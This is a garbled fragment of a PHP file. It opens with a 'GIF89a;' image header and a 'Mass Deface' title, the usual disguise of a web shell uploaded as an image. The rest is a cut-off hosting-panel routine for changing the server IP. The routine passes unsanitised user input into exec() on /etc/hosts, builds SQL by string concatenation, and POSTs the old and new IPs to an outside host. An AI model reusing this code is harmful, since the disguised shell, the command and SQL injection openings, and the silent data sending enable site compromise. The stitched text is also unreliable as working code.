GIF89a;
Mass Deface 'ChangeIP', 'old' => $old_ip, 'new' => $new_ip ); $url="http://hostingraja.info/getserverdetails.php"; $handle = curl_init($url); curl_setopt($handle, CURLOPT_POST, true); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_exec($handle); $sql = $zdbh->prepare("UPDATE x_settings SET so_value_tx='".$new_public_ip."' WHERE so_name_vc='server_ip'"); $sql->execute(); break; case 2: $old_ip=trim(readline("Enter Old Ip:")); $new_ip=trim(readline("Enter New Ip:")); $cmd="sed -i -e s/$old_ip/$new_ip/g /etc/hosts"; exec($cmd); $data = array('action' => 'ChangeIP', 'old' => $old_ip, 'new' => $new_ip ); $url="http://hostingraja.info/getserverdetails.php"; $handle = curl_init($url); curl_setopt($handle, CURLOPT_POST, true); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_exec($handle); $sql = $zdbh->prepare("UPDATE x_settings SET so_value_tx='".$new_ip."' WHERE so_name_vc='server_ip'"); $sql->execute(); break; case 3: echo "bye"; exit(0); break; default: echo "You have selected the wrong option. Try again."; break; } ?>